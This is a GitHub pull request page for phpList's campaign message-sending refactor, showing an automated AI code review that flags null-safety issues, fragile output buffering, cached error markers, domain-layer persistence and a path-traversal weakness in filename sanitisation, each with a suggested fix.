Refactor/update message sendin #374
Conversation
📝 WalkthroughWalkthroughLoads and normalizes message data, builds and caches a MessagePrecacheDto, then personalizes and sends per-subscriber emails via a rate‑limited mailer; adds URL/image rewriting, remote fetch/caching, mail-size checks, new repos/services, enums, exceptions, tests, and configuration updates. Changes
Sequence Diagram(s)sequenceDiagram
autonumber
participant Handler as CampaignProcessorMessageHandler
participant Loader as MessageDataLoader
participant Precache as MessagePrecacheService
participant Cache as PSR-16 Cache
participant Preparator as MessageProcessingPreparator
participant Personalizer as UserPersonalizer
participant Composer as RateLimitedCampaignMailer
participant Mailer as MailerInterface
Handler->>Loader: load(message)
Loader-->>Handler: messageData
Handler->>Precache: precacheMessage(message, messageData)
Precache->>Cache: get(campaignKey)
alt cache miss
Precache->>Precache: build MessagePrecacheDto
Precache->>Cache: set(campaignKey, MessagePrecacheDto)
else cache hit
Cache-->>Precache: MessagePrecacheDto
end
Precache-->>Handler: MessagePrecacheDto
loop per subscriber
Handler->>Preparator: processMessageLinks(campaignId, DTO, subscriber)
Preparator-->>Handler: DTO (links replaced)
Handler->>Personalizer: personalize DTO for subscriber
Personalizer-->>Handler: personalized DTO
Handler->>Composer: composeEmail(message, subscriber, DTO)
Composer->>Mailer: send(Email)
Mailer-->>Handler: result / exception
end
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120 minutes Possibly related PRs
Pre-merge checks and finishing touches❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✨ Finishing touches
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 0
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
157-166: Guard personalization against null text/footer to avoid runtime errorsRight now you call
personalize()ongetText()andgetFooter()unconditionally. GivenMessageContent::getText()/getFooter()are treated as nullable elsewhere, this can blow up with aTypeErrorif either isnull(and tests hide this by forcing non-null mocks).A small null-check keeps this safe:
private function handleEmailSending( Message $campaign, Subscriber $subscriber, UserMessage $userMessage, Message\MessageContent $precachedContent, ): void { - $processed = $this->messagePreparator->processMessageLinks($campaign->getId(), $precachedContent, $subscriber); - $processed->setText($this->userPersonalizer->personalize($processed->getText(), $subscriber->getEmail())); - $processed->setFooter($this->userPersonalizer->personalize($processed->getFooter(), $subscriber->getEmail())); + $processed = $this->messagePreparator->processMessageLinks( + $campaign->getId(), + $precachedContent, + $subscriber + ); + + $htmlText = $processed->getText(); + if ($htmlText !== null) { + $processed->setText( + $this->userPersonalizer->personalize($htmlText, $subscriber->getEmail()) + ); + } + + $footer = $processed->getFooter(); + if ($footer !== null) { + $processed->setFooter( + $this->userPersonalizer->personalize($footer, $subscriber->getEmail()) + ); + }This matches how
MessageProcessingPreparatoralready treats these fields and avoids surprising failures when campaigns have no HTML or footer.
🧹 Nitpick comments (1)
tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php (1)
175-205: Content mocks align with new personalization flow; consider adding a null‑footer caseStubbing
getText()/getFooter()in these tests to return concrete HTML/footer strings is a good way to keep the new personalization path exercised without changing expectations.Once you add null-guards in the handler, it’d be worth adding a small test where
getFooter()(and/orgetText()) returnsnullto lock in that behavior and prevent regressions.Also applies to: 236-269, 291-325
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (5)
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php(3 hunks)src/Domain/Messaging/Service/MessageProcessingPreparator.php(1 hunks)src/Domain/Messaging/Service/RateLimitedCampaignMailer.php(1 hunks)tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php(6 hunks)tests/Unit/Domain/Messaging/Service/MessageProcessingPreparatorTest.php(0 hunks)
💤 Files with no reviewable changes (1)
- tests/Unit/Domain/Messaging/Service/MessageProcessingPreparatorTest.php
🧰 Additional context used
📓 Path-based instructions (2)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow persistence or transaction side effects here for normal domain models.
Flag ANY usage of Doctrine persistence APIs on regular domain entities, especially:
$entityManager->flush(...),$this->entityManager->flush(...)$em->persist(...),$em->remove(...)$em->beginTransaction(),$em->commit(),$em->rollback()✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes.✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Messaging/Service/RateLimitedCampaignMailer.phpsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Service/MessageProcessingPreparator.php
src/**/MessageHandler/**
⚙️ CodeRabbit configuration file
src/**/MessageHandler/**: Background jobs/workers may perform persistence and schema management.
- ✅ Allow
$entityManager->flush()when the job is the orchestration boundary.- ✅ Allow table creation, migration, or schema synchronization (e.g. via Doctrine SchemaTool or SchemaManager),
as this is considered infrastructure-level orchestration.- For DynamicListAttr-related jobs, it is fine to orchestrate both data and schema changes here,
as long as responsibilities remain clear and behavior is predictable.- Verify idempotency for schema operations where practical — e.g., check if a table exists before creating.
- Ensure domain-layer code invoked by the job (outside the DynamicListAttr exception) remains free of persistence calls.
- Batch flush operations where practical.
Files:
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
🧬 Code graph analysis (1)
src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (1)
src/Domain/Messaging/Message/AsyncEmailMessage.php (1)
getReplyTo(49-52)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
- GitHub Check: phpList on PHP 8.1 [Build, Test]
- GitHub Check: phpList on PHP 8.1 [Build, Test]
🔇 Additional comments (4)
src/Domain/Messaging/Service/MessageProcessingPreparator.php (1)
76-87: No behavioral change here; TODO still relevantThis is just a comment tweak; existing logic around
getText()/getFooter()and link replacement remains consistent and safe. All good.src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
7-9: UserPersonalizer wiring looks goodImporting and injecting
UserPersonalizerinto the handler keeps responsibilities in the message handler (where persistence and orchestration already live) and lines up with the new personalization flow. No issues here.Also applies to: 44-62
tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php (1)
10-11: Test wiring for UserPersonalizer is solidInjecting a
UserPersonalizermock and stubbingpersonalize()to be identity keeps existing assertions unchanged while exercising the new dependency. The constructor args line up with the handler changes, so this looks good.Also applies to: 48-92
src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (1)
23-42: composeEmail refactor improves clarity and matches new pipelineUsing
$messagefor options and$processedContentfor subject/text/HTML matches the new “preprocess then personalize” flow and keeps the method signature self-explanatory. The handler call site aligns with this, so the change looks clean.
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
TatevikGr
force-pushed
the
ref/campaign-processing
branch
from
5fe45ab to
492e1d0
Compare
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
There was a problem hiding this comment.
Actionable comments posted: 2
♻️ Duplicate comments (5)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (4)
101-113: Missing return type declaration (still unresolved).This method still lacks a return type and parameter type hint. Add
string $contentand: stringfor type safety.- public function parseLogoPlaceholders($content) + public function parseLogoPlaceholders(string $content): string
122-125: Null pointer dereference risk (still unresolved).
findByFilename()can returnnull, but line 123 calls->getData()without a null check. This will throw a fatal error.$orgLogoImage = $this->templateImageRepository->findByFilename("ORGANISATIONLOGO$size.png"); - if (!empty($orgLogoImage->getData())) { + if ($orgLogoImage !== null && !empty($orgLogoImage->getData())) { return; }
127-128: Null pointer dereference risk (still unresolved).
findById()can returnnull, but line 128 calls->getData()without checking. Add a null guard before decoding.$logoImage = $this->templateImageRepository->findById((int) $logoImageId); + if ($logoImage === null) { + return; + } $imageContent = base64_decode($logoImage->getData());
154-176: Output buffer handling is fragile (still unresolved).The buffer capture (lines 169-175) grabs content before calling
ob_start(), then echoes it back after capturing the image. This can corrupt output. Use a local buffer instead:- //# rather convoluted way to get the image contents - $buffer = ob_get_contents(); - ob_end_clean(); - ob_start(); - imagepng($resized); - $imageContent = ob_get_contents(); - ob_end_clean(); - echo $buffer; + ob_start(); + imagepng($resized); + $imageContent = ob_get_clean();composer.json (1)
82-85: Past review comment still applies.The addition of these three PHP extensions is correct for the new functionality, but as noted in the previous review, please update the PR description to document why these extensions are required.
🧹 Nitpick comments (5)
src/Domain/Common/ExternalImageService.php (5)
50-55: Avoid error suppression; handle mkdir failures explicitly.Using
@mkdirhides potential errors. Consider checking if the directory creation succeeds and logging or returning an error if it fails.Apply this diff:
- if (!file_exists($this->externalCacheDir)) { - @mkdir($this->externalCacheDir); - } - - if (!file_exists($this->externalCacheDir) || !is_writable($this->externalCacheDir)) { - return false; - } + if (!file_exists($this->externalCacheDir)) { + if (!mkdir($this->externalCacheDir) && !is_dir($this->externalCacheDir)) { + return false; + } + } + + if (!is_writable($this->externalCacheDir)) { + return false; + }
64-66: Remove redundant curl_init check.Since
ext-curlis now a required dependency in composer.json, thefunction_exists('curl_init')check is unnecessary.Apply this diff:
- if (function_exists('curl_init')) { - $cacheFileContent = $this->downloadUsingCurl($filename); - } + $cacheFileContent = $this->downloadUsingCurl($filename);
76-84: Avoid error suppression on file operations.Using
@fopensilently ignores errors. Handle the failure case explicitly instead.
94-117: Address error suppression and TODO comment.This method uses
@suppression extensively (opendir, readdir, filemtime, unlink, closedir). Consider proper error handling or at least logging failures.Also, the TODO at line 102 should be resolved or tracked in an issue.
Would you like me to open an issue to track the TODO comment?
10-177: Consider moving to Infrastructure layer.This service performs filesystem and network I/O operations, which are side effects that typically belong in the Infrastructure layer rather than the Domain layer. According to the coding guidelines for domain purity, domain code should avoid persistence and transaction side effects.
While this service doesn't use Doctrine persistence, it does interact with external systems (filesystem and HTTP) which may violate domain purity principles. Consider moving this to
src/Infrastructure/instead.Based on coding guidelines, domain layer should be pure and free of side effects.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (4)
composer.json(1 hunks)config/parameters.yml.dist(2 hunks)src/Domain/Common/ExternalImageService.php(1 hunks)src/Domain/Messaging/Service/Manager/TemplateImageManager.php(3 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
- config/parameters.yml.dist
🧰 Additional context used
📓 Path-based instructions (1)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow persistence or transaction side effects here for normal domain models.
Flag ANY usage of Doctrine persistence APIs on regular domain entities, especially:
$entityManager->flush(...),$this->entityManager->flush(...)$em->persist(...),$em->remove(...)$em->beginTransaction(),$em->commit(),$em->rollback()✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes.✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Messaging/Service/Manager/TemplateImageManager.phpsrc/Domain/Common/ExternalImageService.php
🧬 Code graph analysis (2)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (2)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Repository/TemplateImageRepository.php (3)
TemplateImageRepository(12-35)findByFilename(16-24)findById(26-34)
src/Domain/Common/ExternalImageService.php (1)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)
🔇 Additional comments (3)
src/Domain/Common/ExternalImageService.php (3)
14-22: Constructor looks good.Clean dependency injection and simple initialization logic.
24-38: Clean cache retrieval logic.Proper validation and error handling with null returns.
119-126: Filename sanitization logic is correct.The regex patterns work but could be documented for clarity. Consider adding a comment explaining what characters are being removed/replaced.
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
TatevikGr
force-pushed
the
ref/campaign-processing
branch
from
8e75515 to
25ef84a
Compare
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
TatevikGr
changed the title
TatevikGr
force-pushed
the
ref/campaign-processing
branch
from
b1c80cd to
1643a29
Compare
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
TatevikGr
force-pushed
the
ref/campaign-processing
branch
from
f2db3f5 to
4a9e895
Compare
This comment was marked as resolved.
This comment was marked as resolved.
Sorry, something went wrong.
TatevikGr
force-pushed
the
ref/campaign-processing
branch
from
165c59c to
3bb34cd
Compare
There was a problem hiding this comment.
Actionable comments posted: 7
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (2)
35-49: Domain layer must not perform persistence operations.Line 45 directly calls
templateImageRepository->persist($image). Per the coding guidelines, domain services should not invoke Doctrine persistence APIs on regular entities. This method should return the array ofTemplateImageentities to be persisted by the Application layer caller.As per coding guidelines, domain layer should not use
$repository->persist(...)for non-DynamicListAttr entities.🔎 Suggested approach
The domain method already returns the entities. Remove the persist call here and let the Application layer/MessageHandler persist them after calling this method:
$image->setData(null); - $this->templateImageRepository->persist($image); $templateImages[] = $image; }
94-97: Domain layer must not perform persistence operations.The
delete()method callstemplateImageRepository->remove(). Per coding guidelines, domain services should not invoke Doctrine persistence APIs (including remove) on regular entities. Move this side effect to the Application layer.As per coding guidelines, domain layer should not use
$repository->remove(...)for non-DynamicListAttr entities.
♻️ Duplicate comments (9)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (1)
229-236: Output buffer handling remains fragile.The output buffer sequence (get contents → end clean → start → imagepng → get contents → end clean → echo) is unnecessarily convoluted and was flagged in a previous review. This pattern can corrupt output by echoing stale buffer contents.
🔎 Simplified approach
Replace the fragile buffer dance with a single local buffer:
- //# rather convoluted way to get the image contents - $buffer = ob_get_contents(); - ob_end_clean(); - ob_start(); - imagepng($resized); - $imageContent = ob_get_contents(); - ob_end_clean(); - echo $buffer; + ob_start(); + imagepng($resized); + $imageContent = ob_get_clean();This keeps buffering local and prevents corrupting global output.
src/Domain/Common/ExternalImageService.php (4)
68-72: Avoid caching error markers – oversized images write 'MAX_SIZE' to cache.When content exceeds
externalImageMaxSize,'MAX_SIZE'is written to the cache file. This sentinel string will pass the 64-byte validation check inisValidCacheFile()and be returned as base64-encoded garbage ingetFromCache(). Return early or skip caching instead.🔎 Suggested fix
if ($this->externalImageMaxSize && (strlen($cacheFileContent) > $this->externalImageMaxSize)) { - $cacheFileContent = 'MAX_SIZE'; + $this->logger->warning('External image exceeds max size', [ + 'url' => $filename, + 'size' => strlen($cacheFileContent), + 'max' => $this->externalImageMaxSize, + ]); + return false; } - - $this->writeCacheFile($cacheFileName, $cacheFileContent); }
108-115: Path traversal vulnerability in filename sanitization.The regex only removes consecutive dots but doesn't prevent
../sequences split by slashes. Usebasename()withparse_url()to safely extract just the filename portion.🔎 Suggested fix
private function generateLocalFileName(string $filename, int $messageId): string { - return $this->externalCacheDir - . '/' - . $messageId - . '_' - . preg_replace([ '~[\.][\.]+~Ui', '~[^\w\.]~Ui',], ['', '_'], $filename); + $path = parse_url($filename, PHP_URL_PATH) ?? $filename; + $sanitized = preg_replace('~[^\w\.-]~', '_', basename($path)); + return $this->externalCacheDir . '/' . $messageId . '_' . $sanitized; }
138-143: Return null on cURL errors instead of writing error markers to cache.Writing
'CURL_ERROR_*'or'HTTP_CODE_*'strings to the cache corrupts it. Returnnulland log the error instead.🔎 Suggested fix
if ($cURLErrNo != 0) { - $cacheFileContent = 'CURL_ERROR_' . $cURLErrNo; + $this->logger->error('cURL error downloading image', ['url' => $filename, 'errno' => $cURLErrNo]); + return null; } if ($cURLInfo['http_code'] >= 400) { - $cacheFileContent = 'HTTP_CODE_' . $cURLInfo['http_code']; + $this->logger->error('HTTP error downloading image', ['url' => $filename, 'code' => $cURLInfo['http_code']]); + return null; }
159-165: Return null on file_get_contents failure instead of error string.Same issue as cURL –
'FGC_ERROR'will be cached and served as corrupt image data.🔎 Suggested fix
$cacheFileContent = file_get_contents($filename, false, $remoteURLContext); if ($cacheFileContent === false) { - $cacheFileContent = 'FGC_ERROR'; + $this->logger->error('file_get_contents error', ['url' => $filename]); + return null; } - return $cacheFileContent; + return $cacheFileContent ?: null; }src/Domain/Common/RemotePageFetcher.php (2)
65-70: Domain layer persistence breach – EntityManager usage.Per coding guidelines for
src/Domain/**, persistence side effects are not allowed. Lines 67 and 70 call$this->entityManager->remove()and$this->urlCacheRepository->persist(). This violates domain purity. Move cache write logic to Infrastructure/Application layer or inject a repository interface that abstracts persistence.Based on coding guidelines, Domain services should not perform persistence operations.
48-59: Second cache lookup withtime()as lastModified is ineffective.Line 52 calls
findByUrlAndLastModified($url, $lastModified)where$lastModified = time(). The repository query finds entries wherelastModified > :lastModified, meaning it looks for entries with a future timestamp – these won't exist. This block essentially never returns cached content. Consider whether this query is needed or if the logic should be reworked.src/Domain/Messaging/Service/Builder/EmailBuilder.php (2)
177-179: X-Originally-to header logic is unreachable.Line 136 sets
$destinationEmail = $this->devEmailwhendevVersion && devEmailis set. Then line 177 checks$this->devEmail && $destinationEmail !== $this->devEmail, which is always false in that case. The header is never added. Should this compare against the original$to?🔎 Suggested fix
- if ($this->devEmail && $destinationEmail !== $this->devEmail) { - $email->getHeaders()->addTextHeader('X-Originally to', $destinationEmail); + if ($this->devVersion && $this->devEmail && $to !== $destinationEmail) { + $email->getHeaders()->addTextHeader('X-Originally to', $to); }Note: You'll need to pass
$tointocreateBaseEmailor capture it earlier.
196-206: Image embedder return value discarded – embedded images won't work.Line 199 calls
($this->templateImageEmbedder)(...)but discards the return value. The embedder returns modified HTML with CID references and populates its$attachmentarray. Without capturing the return and attaching the images to the email, recipients will see broken image links.Also,
$email->text($textMessage)is set three times (lines 198, 203, 205) – lines 203 and 205 are redundant.🔎 Suggested fix
private function applyContentAndFormatting(Email $email, $htmlMessage, $textMessage, int $messageId): void { $newWrap = $this->configProvider->getValue(ConfigOption::WordWrap); if ($newWrap) { $textMessage = wordwrap($textMessage, (int)$newWrap); } if (!empty($htmlMessage)) { - $email->html($htmlMessage); + $embeddedHtml = ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); + $email->html($embeddedHtml); + + foreach ($this->templateImageEmbedder->attachment as $cid => $data) { + $email->embedFromPath($data['path'], $cid, $data['mime']); + } + $email->text($textMessage); - ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); - //# In the above phpMailer strips all tags, which removes the links - // which are wrapped in < and > by HTML2text - //# so add it again - $email->text($textMessage); + } else { + $email->text($textMessage); } - $email->text($textMessage); }
🧹 Nitpick comments (4)
src/Domain/Messaging/Service/Manager/TemplateImageManager.php (1)
195-197: Consider more specific parameter types.The parameters use
mixedtypes, but they could be more specific:intfor$newWidthand$newHeight, andfloatfor$sizeFactor. This would make the contract clearer and catch type mismatches earlier.🔎 Proposed type refinement
private function resizeImageIfNecessary( string $imageContent, array $imgSize, - mixed $newWidth, - mixed $newHeight, - mixed $sizeFactor, + int $newWidth, + int $newHeight, + float $sizeFactor, ?TemplateImage $orgLogoImage ): string {src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (1)
38-44: Handle nullablecontentwhen building HTML body.The
MessagePrecacheDto::contentproperty is nullable (?string), so concatenating it directly withhtmlFootercould produce unexpected results (e.g.,"null<footer>"or type errors in strict contexts). Consider using the null coalescing operator.🔎 Suggested fix
- $html = $messagePrecacheDto->content . $messagePrecacheDto->htmlFooter; + $html = ($messagePrecacheDto->content ?? '') . $messagePrecacheDto->htmlFooter;src/Domain/Messaging/Service/MessageDataLoader.php (1)
221-234: Minor: Redundant condition check.Lines 223-228 and 231-233 have overlapping logic. If
campaigntitleis empty and subject isn't(no subject), you set campaigntitle to subject. Then immediately after, if campaigntitle is(no title)and subject isn't(no subject), you set it again. The second block is only reachable if the first set(no title)which can't happen given the first condition. Consider simplifying.🔎 Suggested simplification
private function deriveCampaignTitle(array &$messageData): void { if (empty($messageData['campaigntitle'])) { - if ($messageData['subject'] != '(no subject)') { - $messageData['campaigntitle'] = $messageData['subject']; - } else { - $messageData['campaigntitle'] = '(no title)'; - } - } - //# copy subject to title - if ($messageData['campaigntitle'] === '(no title)' && $messageData['subject'] !== '(no subject)') { - $messageData['campaigntitle'] = $messageData['subject']; + $messageData['campaigntitle'] = ($messageData['subject'] !== '(no subject)') + ? $messageData['subject'] + : '(no title)'; } }src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
93-111: Commented-out code blocks.Lines 94-111 and 127-146 contain large blocks of commented-out legacy code. If this is intentional for reference during migration, consider adding a TODO with a ticket reference to clean it up, or remove it if it's no longer needed.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (12)
config/PhpCodeSniffer/ruleset.xmlresources/translations/messages.en.xlfsrc/Domain/Common/ExternalImageService.phpsrc/Domain/Common/RemotePageFetcher.phpsrc/Domain/Common/TextParser.phpsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Model/Dto/MessagePrecacheDto.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phpsrc/Domain/Messaging/Service/Manager/TemplateImageManager.phpsrc/Domain/Messaging/Service/MessageDataLoader.phpsrc/Domain/Messaging/Service/RateLimitedCampaignMailer.phptests/Unit/Domain/Common/RemotePageFetcherTest.php
🚧 Files skipped from review as they are similar to previous changes (3)
- src/Domain/Common/TextParser.php
- src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php
- resources/translations/messages.en.xlf
🧰 Additional context used
📓 Path-based instructions (2)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow persistence or transaction side effects here for normal domain models.
Flag ANY usage of Doctrine persistence APIs on regular domain entities, especially:
$entityManager->flush(...),$this->entityManager->flush(...)$em->persist(...),$em->remove(...)$em->beginTransaction(),$em->commit(),$em->rollback()✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes.✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Messaging/Service/RateLimitedCampaignMailer.phpsrc/Domain/Messaging/Service/Manager/TemplateImageManager.phpsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phpsrc/Domain/Messaging/Service/MessageDataLoader.phpsrc/Domain/Common/ExternalImageService.phpsrc/Domain/Common/RemotePageFetcher.php
src/**/MessageHandler/**
⚙️ CodeRabbit configuration file
src/**/MessageHandler/**: Background jobs/workers may perform persistence and schema management.
- ✅ Allow
$entityManager->flush()when the job is the orchestration boundary.- ✅ Allow table creation, migration, or schema synchronization (e.g. via Doctrine SchemaTool or SchemaManager),
as this is considered infrastructure-level orchestration.- For DynamicListAttr-related jobs, it is fine to orchestrate both data and schema changes here,
as long as responsibilities remain clear and behavior is predictable.- Verify idempotency for schema operations where practical — e.g., check if a table exists before creating.
- Ensure domain-layer code invoked by the job (outside the DynamicListAttr exception) remains free of persistence calls.
- Batch flush operations where practical.
Files:
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
🧬 Code graph analysis (5)
tests/Unit/Domain/Common/RemotePageFetcherTest.php (5)
src/Domain/Common/HtmlUrlRewriter.php (1)
HtmlUrlRewriter(11-208)src/Domain/Common/RemotePageFetcher.php (1)
RemotePageFetcher(17-125)src/Domain/Configuration/Repository/UrlCacheRepository.php (1)
UrlCacheRepository(12-32)src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Configuration/Model/UrlCache.php (1)
setLastModified(69-73)
src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (2)
src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php (1)
MessagePrecacheDto(8-31)src/Domain/Messaging/Message/AsyncEmailMessage.php (1)
getReplyTo(49-52)
src/Domain/Messaging/Service/Builder/EmailBuilder.php (7)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Service/SystemMailConstructor.php (2)
SystemMailConstructor(13-103)__construct(17-25)src/Domain/Messaging/Service/TemplateImageEmbedder.php (2)
TemplateImageEmbedder(16-307)__construct(33-44)src/Domain/Subscription/Repository/SubscriberRepository.php (1)
SubscriberRepository(21-208)src/Domain/Subscription/Repository/UserBlacklistRepository.php (4)
UserBlacklistRepository(14-60)__construct(16-22)isEmailBlacklisted(45-59)findOneByEmail(38-43)src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
__construct(55-79)src/Domain/Messaging/Service/MessagePrecacheService.php (1)
__construct(26-41)
src/Domain/Messaging/Service/MessageDataLoader.php (2)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Repository/MessageDataRepository.php (2)
MessageDataRepository(12-26)getForMessage(22-25)
src/Domain/Common/ExternalImageService.php (1)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)
🔇 Additional comments (10)
config/PhpCodeSniffer/ruleset.xml (1)
106-110: Nice fix! Duplicate rule issue resolved.The addition of the
ignoreNewlinesproperty looks good, and I can confirm that the duplicate rule declaration mentioned in the previous review has been addressed. The rule is now declared once in the Whitespace section where it semantically belongs, with the property configuration intact.Setting
ignoreNewlinestotruemakes the coding standard more flexible about operator spacing when they span multiple lines, which is a reasonable choice for readability.src/Domain/Messaging/Service/Manager/TemplateImageManager.php (4)
28-31: Constructor refactoring looks good.Replacing
EntityManagerInterfacewithConfigProvideris a step in the right direction for separating concerns. The constructor is clean and properly typed.
99-111: Logo placeholder parsing logic is sound.The regex pattern correctly matches
[LOGO:SIZE]placeholders, with sensible default handling for the size parameter. The replacement strategy is clean.
162-175: Image decoding with fallback is well-structured.The base64 decoding logic with a fallback to a minimal 1x1 transparent PNG is a sensible approach for handling missing or invalid logo data.
177-190: Dimension calculation preserves aspect ratio correctly.The logic properly identifies the larger dimension and scales proportionally, which is the right approach for logo resizing.
src/Domain/Messaging/Service/MessageDataLoader.php (1)
14-46: Solid implementation addressing past concerns.The class properly handles the serialization security with
['allowed_classes' => false], validates unserialize results, and usesstr_contains()for string checks. The$timestamp ?? time()pattern on line 50 also handles the PHP 8.1+ deprecation warning correctly.tests/Unit/Domain/Common/RemotePageFetcherTest.php (2)
88-100: Test expectation may not match implementation.
RemotePageFetcher::__invokecallsfindByUrlAndLastModifiedtwice (lines 42 and 52 of the fetcher). This test expects exactly one call, so it will fail unless the first call's return value causes an early return. If$recent->getLastModified()returns current time,$timeout < $this->defaultTtlis true and it returns early – that works. Just noting this is somewhat fragile if the TTL/timing changes.
170-202: Good coverage of URL expansion and placeholder substitution.Nice test verifying that
&is normalized, user placeholders are substituted (excluding password), and remote URL append config is applied. The assertion on line 201 confirms the flow works end-to-end.src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (2)
291-331: Admin notification handling looks solid.Good null check on line 307-309 for
UniqueConstraintViolationExceptionhandling (lines 326-329) gracefully handles duplicatestart_notifiedentries. Clean implementation.
